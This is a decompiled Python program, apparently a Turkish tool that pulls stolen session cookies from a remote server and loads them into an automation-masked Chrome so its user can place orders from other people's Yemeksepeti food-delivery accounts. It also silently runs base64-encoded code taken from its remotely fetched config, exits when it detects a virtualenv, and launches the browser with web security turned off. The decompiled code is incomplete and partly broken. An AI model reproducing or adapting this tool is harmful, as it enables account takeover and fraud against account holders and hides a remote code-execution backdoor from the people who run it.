# File: main.pyc (Python 3.10)
import requests
import json
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from datetime import datetime
from datetime import timezone
import urllib.request as urllib
from webdriver_auto_update import check_driver
import os.path as os
from os import path
import time
import ctypes
from selenium.webdriver.chrome.service import Service
import sys
import win32clipboard
import base64
def get_base_prefix_compat():
if not getattr(sys, 'base_prefix', None) and getattr(sys, 'real_prefix', None):
pass
return sys.prefix
def in_virtualenv():
return get_base_prefix_compat() != sys.prefix
if in_virtualenv() == True:
sys.exit()
appDataPath = path.expandvars('%LOCALAPPDATA%\\\\webdriver')
chromeDriverPath = appDataPath + '\\chromedriver.exe'
app_url = 'http://sunucu2.hesapye.site/'
getTokenUrlEnd = 'getCookie.php?all=1&token='
responseJsonCookiesKey = 'data'
driver = ''
cookies = ''
scripts = []
sites = []
manifest = []
arguments = [
'--no-sandbox',
'--disable-blink-features=AutomationControlled',
'--disable-infobars',
'--ignore-certificate-errors',
'--log-level=3',
'--lang=en',
'--ignore-certificate-errors-spki-list',
'--ignore-ssl-errors',
'--disable-logging',
'--disable-in-process-stack-traces',
'--disable-web-security',
'--allow-running-insecure-content',
'--no-default-browser-check',
'--silent',
'--disable-extensions',
'--start-maximized']
def getAppConfig():
global manifest, sites
pass
# WARNING: Decompyle incomplete
def clear():
return os.system('cls')
os.system('@echo off')
clear()
getAppConfig()
ctypes.windll.kernel32.SetConsoleTitleW(manifest['appTitle'])
if len(manifest['exec']) > 0:
exec(base64.b64decode(manifest['exec']).decode('utf-8'))
if manifest['updateRequired'] == True:
clear()
print('! Uygulaman\xc4\xb1n g\xc3\xbcncellenmesi gerekiyor.')
print('> A\xc5\x9fa\xc4\x9f\xc4\xb1daki linkten yeni s\xc3\xbcr\xc3\xbcm\xc3\xbc indirebilirsiniz.')
print('> Link: {}'.format(manifest['updateUrl']))
input()
continue
print('> Uygulama versiyonu: {}'.format(manifest['version']))
print()
if not path.exists(appDataPath):
os.mkdir(appDataPath)
check_driver(appDataPath)
ser = Service(chromeDriverPath)
def checkToken(autoCheck = (True,)):
inp = ''
# WARNING: Decompyle incomplete
def setupBrowser():
global driver
print('> Taray\xc4\xb1c\xc4\xb1 ayarlan\xc4\xb1yor...')
chrome_options = Options()
for arg in arguments:
chrome_options.add_argument(arg)
chrome_options.add_experimental_option('useAutomationExtension', False)
chrome_options.add_experimental_option('excludeSwitches', [
'enable-automation',
'enable-logging'])
driver = webdriver.Chrome(ser, chrome_options, **('service', 'options'))
setCookies()
def cookieFilter(ck):
newCookie = []
for c in ck:
thisCookie = { }
thisCookie['name'] = c['name']
thisCookie['value'] = c['value']
if 'domain' in c:
thisCookie['domain'] = c['domain']
if 'path' in c:
thisCookie['path'] = c['path']
if 'secure' in c:
thisCookie['secure'] = c['secure']
if 'httpOnly' in c:
thisCookie['httpOnly'] = c['httpOnly']
if 'sameSite' in c:
if c['sameSite'] == None:
pass
elif c['sameSite'].lower() == 'lax':
thisCookie['sameSite'] = 'Lax'
elif c['sameSite'].lower() == 'strict':
thisCookie['sameSite'] = 'Strict'
elif c['sameSite'].lower() == 'no_restriction':
thisCookie['sameSite'] = 'None'
if 'expirationDate' in c:
thisCookie['expiry'] = int(c['expirationDate'])
if 'expires' in c:
isoDate = c['expires'][:-1]
timestampDate = datetime.fromisoformat(isoDate).timestamp()
thisCookie['expiry'] = timestampDate
if 'expiry' in c:
thisCookie['expiry'] = c['expiry']
if 'session' in c:
thisCookie['session'] = c['session']
newCookie.append(thisCookie)
return newCookie
def setCookies():
deviceToken = ''
print('> Hesap ayarlan\xc4\xb1yor...')
for script in scripts:
driver.execute_cdp_cmd('Page.addScriptToEvaluateOnNewDocument', {
'source': script })
driver.get('https://www.yemeksepeti.com/')
for cookie in cookies:
driver.add_cookie(cookie)
if cookie['name'] == 'device_token':
deviceToken = cookie['value']
clear()
driver.get('https://www.yemeksepeti.com/')
ctypes.windll.kernel32.SetConsoleTitleW('Sipari\xc5\x9f verebilirsiniz!')
print('> Hesap ayarland\xc4\xb1, sipari\xc5\x9f verebilirsiniz.')
print('> E\xc4\x9fer robot do\xc4\x9frulamas\xc4\xb1 gelirse onaylay\xc4\xb1n ve devam edin.')
# WARNING: Decompyle incomplete
checkToken()